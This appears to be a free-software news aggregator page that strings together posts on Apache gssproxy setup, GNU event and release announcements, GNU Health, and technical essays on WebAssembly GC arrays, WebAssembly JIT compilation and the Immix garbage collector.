To instruct Apache — or actually, the MIT Kerberos V5 GSS-API library used by mod_auth_gssap loaded by Apache — to use gssproxy instead of using /etc/krb5.keytab as usual, Apache needs to be started in an environment that has GSS_USE_PROXY=1 set. The background is covered by the gssproxy-mech(8) man page and explained by the gssproxy README.
When systemd is used the following can be used to set the environment variable, note the final command to reload systemd.
Enable the configuration and restart Apache — the suggested use of reload is not sufficient, because then it won’t be restarted with the newly introduced GSS_USE_PROXY variable. This just applies to the first time, after the first restart you may use reload again.
root@foo:~# a2enconf private
Enabling conf private.
To activate the new configuration, you need to run:
systemctl reload apache2
root@foo:~# systemctl restart apache2
When you have debug messages enabled, the log may look like this:
To verify that the server is working properly you may acquire tickets locally and then use curl to retrieve the GSS-API protected resource. The "--negotiate" enables SPNEGO and "--user :" asks curl to use username from the environment.
Don't miss this little talk from Mohammad-Reza Nabipoor about leveraging GNU poke as a test tool in the assembler. He uses RISC-V to explore how to better write pickles for instruction sets. Looks promising!
We are proud to announce the fifteenth edition of the Free
Software Foundation's (FSF) conference on ethical technology and user
freedom, which will be held in spring 2023, both online and in Boston
(exact venue TBD). In these fifteen years, LibrePlanet has always
been a community that brings together concerned users of all varieties
to carve out the direction of software freedom for today as well as
for years to come. The call for sessions is now open and
will close on November 2, 2022. Potential talks should examine free
software through the lens of the theme "Charting the Course."
The GNU Hackers’ Meetings or or “GHMs” are a friendly and informal venue to discuss technical topics related to GNU (https://www.gnu.org) and free software (https://www.gnu.org/philosophy/free-sw.html); anybody is welcome to register and attend. The GNU Hackers’ Meeting 2022 will take place on October 1st and October 2st in İzmir, Turkey; see the event home page at . We decided to help students who wish to attend by contributing 50€ out of their 60€ attendance fee (required by the hotel for use of the conference room, coffee and snacks) so that students will need to only pay 10€, upon presenting proof of ... [Read more]
We are pleased to announce the release of the messenger-cli application.
The application is a counterpart for the terminal to the previous release of the GTK application using the GNUnet Messenger service. The goal is to provide private and secure communication between any group of devices. So server admins or users relying on a terminal focused window manager have now a proper option to utilize the service as well.
The application provides the following features:
Creating direct chats and group chats
Sending text messages
Sharing files privately
Deleting messages
Verifying contact identities
Switching between different accounts
The application utilizes the previously released library "libgnunetchat" in an user interface built with ncurses. It will adapt its different views depending on the terminal size to show most important information. The navigation is done via arrow-, ESCAPE, TAB, ENTER and DELETE keys. More information about that can be found
here
.
Download links
messenger-cli-0.1.0.tar.gz
(
signature
)
The GPG key used to sign is:
3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links might be functional
early after the release. For direct access try
http://ftp.gnu.org/gnu/gnunet/
Noteworthy changes in 0.1.0
It is possible to create direct chats and group chats via lobbies, shared keys or invitations
Members of a chats can be observed
Chats allow sending text messages or files
Messages can be deleted in any chat locally
Switching between different accounts can be done during runtime
A detailed list of changes can be found in the
ChangeLog
.
Known Issues
It is still difficult to get reliable chats between different devices. This might change with the upcoming changes on the GNUnet transport layer though.
It might happen that the FS service is not connected which might stop any file upload or stall it forever.
In addition to this list, you may also want to consult our bug tracker at
The GNU Hackers’ Meetings are a venue to discuss technical topics related to GNU and free software. GNU Hackers’ Meetings have been taking place since 2007: you may want to look at the pages documenting most past editions (https://www.gnu.org/ghm/previous.html) which in many cases also include presentation slides and video recordings. The event atmosphere is always friendly and informal. Anybody is welcome to register and attend, including newcomers. The next GNU Hackers’ Meeting will take place in İzmir, Turkey on Saturday 1st and Sunday 2nd October 2022. We updated the GHM 2022 web page (https://www.gnu.org/ghm/2022) with information about the venue, accommodation ... [Read more]
Today, a brainworm! I had a thought a few days ago and can't get it out of my head, so I need to pass it on to another host.
So, imagine a world in which there is a a drive to build a kind of Kubernetes on top of WebAssembly. Kubernetes nodes are generally containers, associated with additional metadata indicating their place in overall system topology (network connections and so on). (I am not a Kubernetes specialist, as you can see; corrections welcome.) Now in a WebAssembly cloud, the nodes would be components, probably also with additional topological metadata. VC-backed companies will duke it out for dominance of the WebAssembly cloud space, and in a couple years we will probably emerge with an open source project that has become a de-facto standard (though it might be dominated by one or two players).
In this world, Kubernetes and Spiffy-Wasm-Cloud will coexist. One of the success factors for Kubernetes was that you can just put your old database binary inside a container: it's the same ABI as when you run your database in a virtual machine, or on (so-called!) bare metal. The means of composition are TCP and UDP network connections between containers, possibly facilitated by some kind of network fabric. In contrast, in Spiffy-Wasm-Cloud we aren't starting from the kernel ABI, with processes and such: instead there's WASI, which is more of a kind of specialized and limited libc. You can't just drop in your database binary, you have to write code to get it to conform to the new interfaces.
One consequence of this situation is that I expect WASI and the component model to develop a rich network API, to allow WebAssembly components to interoperate not just with end-users but also other (micro-)services running in the same cloud. Likewise there is room here for a company to develop some complicated network fabrics for linking these things together.
However, WebAssembly-to-WebAssembly links are better expressed via typed functional interfaces; it's more expressive and can be faster. Not only can you end up having fine-grained composition that looks more like lightweight Erlang processes, you can also string together components in a pipeline with communications overhead approaching that of a simple function call. Relative to Kubernetes, there are potential 10x-100x improvements to be had, in throughput and in memory footprint, at least in some cases. It's the promise of this kind of improvement that can drive investment in this area, and eventually adoption.
But, you still have some legacy things running in containers. What to do? Well... Maybe recompile them to WebAssembly? That's my brain-worm.
A container is a file system image containing executable files and data. Starting with the executable files, they are in machine code, generally x64, and interoperate with system libraries and the run-time via an ABI. You could compile them to WebAssembly instead. You could interpret them as data, or JIT-compile them as webvm does, or directly compile them to WebAssembly. This is the sort of thing you hire Fabrice Bellard to do ;) Then you have the filesystem. Let's assume it is stateless: any change to the filesystem at runtime doesn't need to be preserved. (I understand this is a goal, though I could be wrong.) So you could put the filesystem in memory, as some kind of addressable data structure, and you make the libc interface access that data structure. It's something like the microkernel approach. And then you translate whatever topological connectivity metadata you had for Kubernetes to your Spiffy-Wasm-Cloud's format.
Anyway in the end you have a WebAssembly module and some metadata, and you can run it in your WebAssembly cloud. Or on the more basic level, you have a container and you can now run it on any machine with a WebAssembly implementation, even on other architectures (coucou RISC-V!).
Anyway, that's the tweet. Have fun, whoever gets to work on this :)
Recent changes in grub added a new command option to fwsetup and changed the way the command is invoked in the generated boot configuration. Depending on your system hardware and setup this could cause an unbootable system due to incompatibilities between the installed bootloader and configuration. After a grub package update it is advised to run both, installation and regeneration of configuration:
The WebAssembly garbage collection proposal is coming soonish (really!) and will extend WebAssembly with the the capability to create and access arrays whose memory is automatically managed by the host. As long as some system component has a reference to an array, it will be kept alive, and as soon as nobody references it any more, it becomes "garbage" and is thus eligible for collection.
(In a way it's funny to define the proposal this way, in terms of what happens to garbage objects that by definition aren't part of the program's future any more; really the interesting thing is the new things you can do with live data, defining new data types and representing them outside of linear memory and passing them between components without copying. But "extensible-arrays-structs-and-other-data-types" just isn't as catchy as "GC". Anyway, I digress!)
One potential use case for garbage-collected arrays is for passing large buffers between parts of a WebAssembly system. For example, a webcam driver could produce a stream of frames as reference-typed arrays of bytes, and then pass them by reference to a sandboxed WebAssembly instance to, I don't know, identify cats in the images or something. You get the idea. Reference-typed arrays let you avoid copying large video frames.
A lot of image-processing code is written in C++ or Rust. With WebAssembly 1.0, you just have linear memory and no reference-typed values, which works well for these languages that like to think of memory as having a single address space. But once you get reference-typed arrays in the mix, you effectively have multiple address spaces: you can't address the contents of the array using a normal pointer, as you might be able to do if you mmap'd the buffer into a program's address space. So what do you do?
reference-typed values are special
The broader question of C++ and GC-managed arrays is, well, too broad for today. The set of array types is infinite, because it's not just arrays of i32, it's also arrays of arrays of i32, and arrays of those, and arrays of records, and so on.
So let's limit the question to just arrays of i8, to see if we can make some progress. So imagine a C function that takes an array of i8:
```
void process(array_of_i8 array) {
// ?
}
```
If you know WebAssembly, there's a clear translation of the sort of code that we want:
```
(func (param $array (ref (array i8)))
; operate on local 0
)
```
The WebAssembly function will have an array as a parameter. But, here we start to run into more problems with the LLVM toolchain that we use to compile C and other languages to WebAssembly. When the C front-end of LLVM (clang) compiles a function to the LLVM middle-end's intermediate representation (IR), it models all local variables (including function parameters) as mutable memory locations created with alloca. Later optimizations might turn these memory locations back to SSA variables and thence to registers or stack slots. But, a reference-typed value has no bit representation, and it can't be stored to linear memory: there is no alloca that can hold it.
Incidentally this problem is not isolated to future extensions to WebAssembly; the externref and funcref data types that landed in WebAssembly 2.0 and in all browsers are also reference types that can't be written to main memory. Similarly, the table data type which is also part of shipping WebAssembly is not dissimilar to GC-managed arrays, except that they are statically allocated at compile-time.
At Igalia, my colleagues Paulo Matos and Alex Bradbury have been hard at work to solve this gnarly problem and finally expose reference-typed values to C. The full details and final vision are probably a bit too much for this article, but some bits on the mechanism will help.
Firstly, note that LLVM has a fairly traditional breakdown between front-end (clang), middle-end ("the IR layer"), and back-end ("the MC layer"). The back-end can be quite target-specific, and though it can be annoying, we've managed to get fairly good support for reference types there.
In the IR layer, we are currently representing GC-managed values as opaque pointers into non-default, non-integral address spaces. LLVM attaches an address space (an integer less than 224 or so) to each pointer, mostly for OpenCL and GPU sorts of use-cases, and we abuse this to prevent LLVM from doing much reasoning about these values.
This is a bit of a theme, incidentally: get the IR layer to avoid assuming anything about reference-typed values. We're fighting the system, in a way. As another example, because LLVM is really oriented towards lowering high-level constructs to low-level machine operations, it doesn't necessarily preserve types attached to pointers on the IR layer. Whereas for WebAssembly, we need exactly that: we reify types when we write out WebAssembly object files, and we need LLVM to pass some types through from front-end to back-end unmolested. We've had to change tack a number of times to get a good way to preserve data from front-end to back-end, and probably will have to do so again before we end up with a final design.
Finally on the front-end we need to generate an alloca in different address spaces depending on the type being allocated. And because reference-typed arrays can't be stored to main memory, there are semantic restrictions as to how they can be used, which need to be enforced by clang. Fortunately, this set of restrictions is similar enough to what is imposed by the ARM C Language Extensions (ACLE) for scalable vector (SVE) values, which also don't have a known bit representation at compile-time, so we can piggy-back on those. This patch hasn't landed yet, but who knows, it might land soon; in the mean-time we are going to run ahead of upstream a bit to show how you might define and use an array type definition. Further tacks here are also expected, as we try to thread the needle between exposing these features to users and not imposing too much of a burden on clang maintenance.
accessing array contents
All this is a bit basic, though; it just gives you enough to have a local variable or a function parameter of a reference-valued type. Let's continue our example:
```
void process(array_of_i8 array) {
uint32_t sum;
for (size_t idx = 0; i < __builtin_wasm_array_length(array); i++)
sum += (uint8_t)__builtin_wasm_array_ref_i8(array, idx);
// ...
}
```
The most basic way to extend C to access these otherwise opaque values is to expose some builtins, say __builtin_wasm_array_length and so on. Probably you need different intrinsics for each scalar array element type (i8, i16, and so on), and one for arrays which return reference-typed values. We'll talk about arrays of references another day, but focusing on the i8 case, the C builtin then lowers to a dedicated LLVM intrinsic, which passes through the middle layer unscathed.
In C++ I think we can provide some nicer syntax which preserves the syntactic illusion of array access.
I think this is going to be sufficient as an MVP, but there's one caveat: SIMD. You can indeed have an array of i128 values, but you can only access that array's elements as i128; worse, you can't load multiple data from an i8 array as i128 or even i32.
Compare this to to the memory control proposal, which instead proposes to map buffers to non-default memories. In WebAssembly, you can in theory (and perhaps soon in practice) have multiple memories. The easiest way I can see on the toolchain side is to use the address space feature in clang:
```
void process(uint8_t *array __attribute__((address_space(42))),
size_t len) {
uint32_t sum;
for (size_t idx = 0; i < len; i++)
sum += array[idx];
// ...
}
```
How exactly to plumb the mapping between address spaces which can only be specified by number from the front-end to the back-end is a little gnarly; really you'd like to declare the set of address spaces that a compilation unit uses symbolically, and then have the linker produce a final allocation of memory indices. But I digress, it's clear that with this solution we can use SIMD instructions to load multiple bytes from memory at a time, so it's a winner with respect to accessing GC arrays.
Or is it? Perhaps there could be SIMD extensions for packed GC arrays. I think it makes sense, but it's a fair amount of (admittedly somewhat mechanical) specification and implementation work.
& future
In some future bloggies we'll talk about how we will declare new reference types: first some basics, then some more integrated visions for reference types and C++. Lots going on, and this is just a brain-dump of the current state of things; thoughts are very much welcome.
GNU Parallel 20220822 ('Rushdie') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
Parallel is Good Stuff (tm)
-- bloopernova@ycombinator
New in this release:
--header 0 allows using {filename} as replacement string
Bug fixes and man page updates.
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQL
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
Just-in-time (JIT) code generation is an important tactic when implementing a programming language. Generating code at run-time allows a program to specialize itself against the specific data it is run against. For a program that implements a programming language, that specialization is with respect to the program being run, and possibly with respect to the data that program uses.
The way this typically works is that the program generates bytes for the instruction set of the machine it's running on, and then transfers control to those instructions.
Usually the program has to put its generated code in memory that is specially marked as executable. However, this capability is missing in WebAssembly. How, then, to do just-in-time compilation in WebAssembly?
webassembly as a harvard architecture
In a von Neumman machine, like the ones that you are probably reading this on, code and data share an address space. There's only one kind of pointer, and it can point to anything: the bytes that implement the sin function, the number 42, the characters in "biscuits", or anything at all. WebAssembly is different in that its code is not addressable at run-time. Functions in a WebAssembly module are numbered sequentially from 0, and the WebAssembly call instruction takes the callee as an immediate parameter.
So, to add code to a WebAssembly program, somehow you'd have to augment the program with more functions. Let's assume we will make that possible somehow -- that your WebAssembly module that had N functions will now have N+1 functions, and with function N being the new one your program generated. How would we call it? Given that the call instructions hard-code the callee, the existing functions 0 to N-1 won't call it.
Here the answer is call_indirect. A bit of a reminder, this instruction take the callee as an operand, not an immediate parameter, allowing it to choose the callee function at run-time. The callee operand is an index into a table of functions. Conventionally, table 0 is called the indirect function table as it contains an entry for each function which might ever be the target of an indirect call.
With this in mind, our problem has two parts, then: (1) how to augment a WebAssembly module with a new function, and (2) how to get the original module to call the new code.
late linking of auxiliary webassembly modules
The key idea here is that to add code, the main program should generate a new WebAssembly module containing that code. Then we run a linking phase to actually bring that new code to life and make it available.
System linkers like ld typically require a complete set of symbols and relocations to resolve inter-archive references. However when performing a late link of JIT-generated code, we can take a short-cut: the main program can embed memory addresses directly into the code it generates. Therefore the generated module would import memory from the main module. All references from the generated code to the main module can be directly embedded in this way.
The generated module would also import the indirect function table from the main module. (We would ensure that the main module exports its memory and indirect function table via the toolchain.) When the main module makes the generated module, it also embeds a special patch function in the generated module. This function would add the new functions to the main module's indirect function table, and perform any relocations onto the main module's memory. All references from the main module to generated functions are installed via the patch function.
We plan on two implementations of late linking, but both share the fundamental mechanism of a generated WebAssembly module with a patch function.
dynamic linking via the run-time
One implementation of a linker is for the main module to cause the run-time to dynamically instantiate a new WebAssembly module. The run-time would provide the memory and indirect function table from the main module as imports when instantiating the generated module.
The advantage of dynamic linking is that it can update a live WebAssembly module without any need for re-instantiation or special run-time checkpointing support.
In the context of the web, JIT compilation can be triggered by the WebAssembly module in question, by calling out to functionality from JavaScript, or we can use a "pull-based" model to allow the JavaScript host to poll the WebAssembly instance for any pending JIT code.
For WASI deployments, you need a capability from the host. Either you import a module that provides run-time JIT capability, or you rely on the host to poll you for data.
static linking via wizer
Another idea is to build on Wizer's ability to take a snapshot of a WebAssembly module. You could extend Wizer to also be able to augment a module with new code. In this role, Wizer is effectively a late linker, linking in a new archive to an existing object.
Wizer already needs the ability to instantiate a WebAssembly module and to run its code. Causing Wizer to ask the module if it has any generated auxiliary module that should be instantiated, patched, and incorporated into the main module should not be a huge deal. Wizer can already run the patch function, to perform relocations to patch in access to the new functions. After having done that, Wizer (or some other tool) would need to snapshot the module, as usual, but also adding in the extra code.
As a technical detail, in the simplest case in which code is generated in units of functions which don't directly call each other, this is as simple as just appending the functions to the code section and then and appending the generated element segments to the main module's element segment, updating the appended function references to their new values by adding the total number of functions in the module before the new module was concatenated to each function reference.
late linking appears to be async codegen
From the perspective of a main program, WebAssembly JIT code generation via late linking appears the same as aynchronous code generation.
struct Value interpretCall(struct Expr body,
struct Value *arg);
struct Value call(struct Func func,
struct Value val) {
if (func->jitCode) {
struct Value (f)(struct Value) = jitCode;
return f(val);
} else {
recordJitCandidate(func);
return interpretCall(func->body, val);
}
}
```
Here the C program allows for the possibility of JIT code generation: there is a slot in a Func instance to fill in with a code pointer. If this program generates code for a given Func, it won't be able to fill in the pointer -- it can't add new code to the image. But, it could tell Wizer to do so, and Wizer could snapshot the program, link in the new function, and patch &func->jitCode. From the program's perspective, it's as if the code becomes available asynchronously.
demo!
So many words, right? Let's see some code! As a sketch for other JIT compiler work, I implemented a little Scheme interpreter and JIT compiler, targetting WebAssembly. See interp.cc for the source. You compile it like this:
```
Here we are compiling with WASI SDK. I have version 14.
The -mexec-model=reactor argument means that this WASI module isn't just a run-once thing, after which its state is torn down; rather it's a multiple-entry component.
The two -Wl, options tell the linker to export the indirect function table, and to allow the indirect function table to be augmented by the JIT module.
The -DLIBRARY=1 is used by interp.cc; you can actually run and debug it natively but that's just for development. We're instead compiling to wasm and running with a WASI environment, giving us fprintf and other debugging niceties.
The -fno-exceptions is because WASI doesn't support exceptions currently. Also we don't need them.
WASI is mainly for non-browser use cases, but this module does so little that it doesn't need much from WASI and I can just polyfill it in browser JavaScript. So that's what we have here:
loading wasm-jit...
Run JIT!
JavaScript disabled, no wasm-jit demo. See the wasm-jit web page for more information.
&&<<<<><>>&&<&>>>><><><><><><>>><>>
Each time you enter a Scheme expression, it will be parsed to an internal tree-like intermediate language. You can then run a recursive interpreter over that tree by pressing the "Evaluate" button. Press it a number of times, you should get the same result.
As the interpreter runs, it records any closures that it created. The Func instances attached to the closures have a slot for a C++ function pointer, which is initially NULL. Function pointers in WebAssembly are indexes into the indirect function table; the first slot is kept empty so that calling a NULL pointer (a pointer with value 0) causes an error. If the interpreter gets to a closure call and the closure's function's JIT code pointer is NULL, it will interpret the closure's body. Otherwise it will call the function pointer.
If you then press the "JIT" button above, the module will assemble a fresh WebAssembly module containing JIT code for the closures that it saw at run-time. Obviously that's just one heuristic: you could be more eager or more lazy; this is just a detail.
Although the particular JIT compiler isn't much of interest---the point being to see JIT code generation at all---it's nice to see that the fibonacci example sees a good speedup; try it yourself, and try it on different browsers if you can. Neat stuff!
not just the web
I was wondering how to get something like this working in a non-webby environment and it turns out that the Python interface to wasmtime is just the thing. I wrote a little interp.py harness that can do the same thing that we can do on the web; just run as python3 interp.py, after having pip3 install wasmtime:
```
$ python3 interp.py
...
Calling eval(0x11eb0) 5 times took 1.716s.
Calling jitModule()
jitModule result:
Instantiating and patching in JIT module
...
Calling eval(0x11eb0) 5 times took 1.161s.
```
Interestingly it would appear that the performance of wasmtime's code (0.232s/invocation) is somewhat better than both SpiderMonkey (0.392s) and V8 (0.729s).
reflections
This work is just a proof of concept, but it's a step in a particular direction. As part of previous work with Fastly, we enabled the SpiderMonkey JavaScript engine to run on top of WebAssembly. When combined with pre-initialization via Wizer, you end up with a system that can start in microseconds: fast enough to instantiate a fresh, shared-nothing module on every HTTP request, for example.
The SpiderMonkey-on-WASI work left out JIT compilation, though, because, you know, WebAssembly doesn't support JIT compilation. JavaScript code actually ran via the C++ bytecode interpreter. But as we just found out, actually you can compile the bytecode: just-in-time, but at a different time-scale. What if you took a SpiderMonkey interpreter, pre-generated WebAssembly code for a user's JavaScript file, and then combined them into a single freeze-dried WebAssembly module via Wizer? You get the benefits of fast startup while also getting decent baseline performance. There are many engineering considerations here, but as part of work sponsored by Shopify, we have made good progress in this regard; details in another missive.
I think a kind of "offline JIT" has a lot of value for deployment environments like Shopify's and Fastly's, and you don't have to limit yourself to "total" optimizations: you can still collect and incorporate type feedback, and you get the benefit of taking advantage of adaptive optimization without having to actually run the JIT compiler at run-time.
But if we think of more traditional "online JIT" use cases, it's clear that relying on host JIT capabilities, while a good MVP, is not optimal. For one, you would like to be able to freely emit direct calls from generated code to existing code, instead of having to call indirectly or via imports. I think it still might make sense to have a language run-time express its generated code in the form of a WebAssembly module, though really you might want native support for compiling that code (asynchronously) from within WebAssembly itself, without calling out to a run-time. Most people I have talked to that work on WebAssembly implementations in JS engines believe that a JIT proposal will come some day, but it's good to know that we don't have to wait for it to start generating code and taking advantage of it.
& out
If you want to play around with the demo, do take a look at the wasm-jit Github project; it's fun stuff. Happy hacking, and until next time!
"Escape to Freedom" is a new animated video from the Free Software Foundation (FSF), giving an introduction to the concepts behind software freedom: both what we gain by having it, and what rights are at stake. We now have the video available in Mandarin and Spanish language tracks.
Developments in artificial intelligence (AI) injustices have rapidly taken a turn for the worse in recent years. Algorithmic decision-making systems are used more than ever by organizations, educational institutions, and governments looking for ways to increase understanding and make predictions. The Free Software Foundation (FSF) is working through this issue, and its many scenarios, to be able to say useful things about how this relates to software freedom. Our call for papers on Copilot was a first step in this direction.
We propose a design for a privacy-friendly method of age restriction in e-commerce that is aligned with the principle of subsidiarity. The design is presented as an extension of a privacy-friendly payment protocol with a zero-knowledge scheme that cryprographically augments coins for this purpose. Our scheme enables buyers to prove to be of sufficient age for a particular transaction without disclosing it. Our modification preserves the privacy and security properties of the payment system such as the anonymity of minors as buyers as well as unlinkability of transactions. We show how our scheme can be instantiated with ECDSA as well with a variant of EdDSA, respectively, and how it can be integrated with the GNU Taler payment system. We provide formal proofs and implementation of our proposal. Key performance measurements for various CPU architectures and implementations are presented.
The GNU Health community keeps growing, and that makes us very proud! This time, the Spanish non-profit organization Cirugía Solidaria has chosen GNU Health as their Hospital and Lab Management system.
Cirugía Solidaria was born in 2000 by a team of surgeons, anesthetists and nurses from “Virgen de la Arrixaca Hospital”, in Murcia, Spain, with the goal to provide medical assistance and to perform surgeries to underprivileged population and those in risk of social exclusion. Currently, Cirugía Solidaria counts with a multi-disciplinary team of health professionals around Spain that just made its 20th anniversary of cooperation.
GNUHealth Hospital Management client for Cirugía Solidaria
Around a month ago I received a message from Dr. Cerezuela, expressing their willingness to be part of the GNU Health community. Their main missions currently are focused, but not limited, to the African continent.
Source: Cirugía Solidaria
After several conferences and meetings, this August 1st 2022, Cirugía Solidaria and GNU Solidario signed an agreement to cooperate in the implementation, training and maintenance of the GNU Health Hospital Management and Lab Information System in those countries and health institutions where Cirugía Solidaria will be present.
Source: Cirugía Solidaria
This is very exciting. We have many projects in different countries from Africa, and working with Cirugía Solidaria will help to generate more local capacity, to cover the needs of those health professionals and their population.
This is not just about surgeries or health informatics. GNU Health will allow Cirugía Solidaria to create sustainable projects. They will have unified clinical and surgical histories, telemedicine; assess the nutritional and educational status of the population, and many other socioeconomic determinants of health and disease.
I want to give our warmest welcome to the team of Cirurgía Solidaria, and we are very much looking forward to cooperating with this great organization, for the betterment our our societies, and for those that need it most.
About GNU Health
The GNU Health project provides the tools for individuals, health professionals, institutions and governments to proactively assess and improve the underlying determinants of health, from the socioeconomic agents to the molecular basis of disease. From primary health care to precision medicine.
GNU Health is a Libre, community driven project from GNU Solidario, a non-profit humanitarian organization focused on Social Medicine. Our project has been adopted by public and private health institutions and laboratories, multilateral organizations and national public health systems around the world.
The GNU Health project provides the tools for individuals, health professionals, institutions and governments to proactively assess and improve the underlying determinants of health, from the socioeconomic agents to the molecular basis of disease. From primary health care to precision medicine.
The following are the main components that make up the GNU Health ecosystem:
Social Medicine and Public HealthHospital Management (HMIS)
Laboratory Management (Occhiolino)
Personal Health Record (MyGNUHealth)
Bioinformatics and Medical Genetics
Thalamus and Federated health networks
GNU Health embedded on Single Board devices
GNU Health is a GNU (www.gnu.org) official package, awarded with the Free Software Foundation award of Social benefit, among others. GNU Health has been adopted by many hospitals, governments and multilateral organizations around the globe.
See also:
GNU Health : https://www.gnuhealth.org
GNU Solidario : https://www.gnusolidario.org
Digital Public Good Alliance: https://digitalpublicgoods.net/
Original post : https://my.gnusolidario.org/2022/08/09/cirugia-solidaria-chooses-gnu-health/
One of the things that had perplexed me about the Immix collector was how to effectively defragment the heap via evacuation while keeping just 2-3% of space as free blocks for an evacuation reserve. The original Immix paper states:
To evacuate the object, the collector uses the same allocator as the mutator, continuing allocation right where the mutator left off. Once it exhausts any unused recyclable blocks, it uses any completely free blocks. By default, immix sets aside a small number of free blocks that it never returns to the global allocator and only ever uses for evacuating. This headroom eases defragmentation and is counted against immix's overall heap budget. By default immix reserves 2.5% of the heap as compaction headroom, but [...] is fairly insensitive to values ranging between 1 and 3%.
To Immix, a "recyclable" block is partially full: it contains surviving data from a previous collection, but also some holes in which to allocate. But when would you have recyclable blocks at evacuation-time? Evacuation occurs as part of collection. Collection usually occurs when there's no more memory in which to allocate. At that point any recyclable block would have been allocated into already, and won't become recyclable again until the next trace of the heap identifies the block's surviving data. Of course after the next trace they could become "empty", if no object survives, or "full", if all lines have survivor objects.
In general, after a full allocation cycle, you don't know much about the heap. If you could easily know where the live data and the holes were, a garbage collector's job would be much easier :) Any algorithm that starts from the assumption that you know where the holes are can't be used before a heap trace. So, I was not sure what the Immix paper is meaning here about allocating into recyclable blocks.
Thinking on it again, I realized that Immix might trigger collection early sometimes, before it has exhausted the previous cycle's set of blocks in which to allocate. As we discussed earlier, there is a case in which you might want to trigger an early compaction: when a large object allocator runs out of blocks to decommission from the immix space. And if one evacuating collection didn't yield enough free blocks, you might trigger the next one early, reserving some recyclable and empty blocks as evacuation targets.
when do you know what you know: lazy and eager
Consider a basic question, such as "how many bytes in the heap are used by live objects". In general you don't know! Indeed you often never know precisely. For example, concurrent collectors often have some amount of "floating garbage" which is unreachable data but which survives across a collection. And of course you don't know the difference between floating garbage and precious data: if you did, you would have collected the garbage.
Even the idea of "when" is tricky in systems that allow parallel mutator threads. Unless the program has a total ordering of mutations of the object graph, there's no one timeline with respect to which you can measure the heap. Still, Immix is a stop-the-world collector, and since such collectors synchronously trace the heap while mutators are stopped, these are times when you can exactly compute properties about the heap.
Let's retake the question of measuring live bytes. For an evacuating semi-space, knowing the number of live bytes after a collection is trivial: all survivors are packed into to-space. But for a mark-sweep space, you would have to compute this information. You could compute it at mark-time, while tracing the graph, but doing so takes time, which means delaying the time at which mutators can start again.
Alternately, for a mark-sweep collector, you can compute free bytes at sweep-time. This is the phase in which you go through the whole heap and return any space that wasn't marked in the last collection to the allocator, allowing it to be used for fresh allocations. This is the point in the garbage collection cycle in which you can answer questions such as "what is the set of recyclable blocks": you know what is garbage and you know what is not.
Though you could sweep during the stop-the-world pause, you don't have to; sweeping only touches dead objects, so it is correct to allow mutators to continue and then sweep as the mutators run. There are two general strategies: spawn a thread that sweeps as fast as it can (concurrent sweeping), or make mutators sweep as needed, just before they allocate (lazy sweeping). But this introduces a lag between when you know and what you know—your count of total live heap bytes describes a time in the past, not the present, because mutators have moved on since then.
For most collectors with a sweep phase, deciding between eager (during the stop-the-world phase) and deferred (concurrent or lazy) sweeping is very easy. You don't immediately need the information that sweeping allows you to compute; it's quite sufficient to wait until the next cycle. Moving work out of the stop-the-world phase is a win for mutator responsiveness (latency). Usually people implement lazy sweeping, as it is naturally incremental with the mutator, naturally parallel for parallel mutators, and any sweeping overhead due to cache misses can be mitigated by immediately using swept space for allocation. The case for concurrent sweeping is less clear to me, but if you have cores that would otherwise be idle, sure.
eager coarse sweeping
Immix is interesting in that it chooses to sweep eagerly, during the stop-the-world phase. Instead of sweeping irregularly-sized objects, however, it sweeps over its "line mark" array: one byte for each 128-byte "line" in the mark space. For 32 kB blocks, there will be 256 bytes per block, and line mark bytes in each 4 MB slab of the heap are packed contiguously. Therefore you get relatively good locality, but this just mitigates a cost that other collectors don't have to pay. So what does eager marking over these coarse 128-byte regions buy Immix?
Firstly, eager sweeping buys you eager identification of empty blocks. If your large object space needs to steal blocks from the mark space, but the mark space doesn't have enough empties, it can just trigger collection and then it knows if enough blocks are available. If no blocks are available, you can grow the heap or signal out-of-memory. If the lospace (large object space) runs out of blocks before the mark space has used all recyclable blocks, that's no problem: evacuation can move the survivors of fragmented blocks into these recyclable blocks, which have also already been identified by the eager coarse sweep.
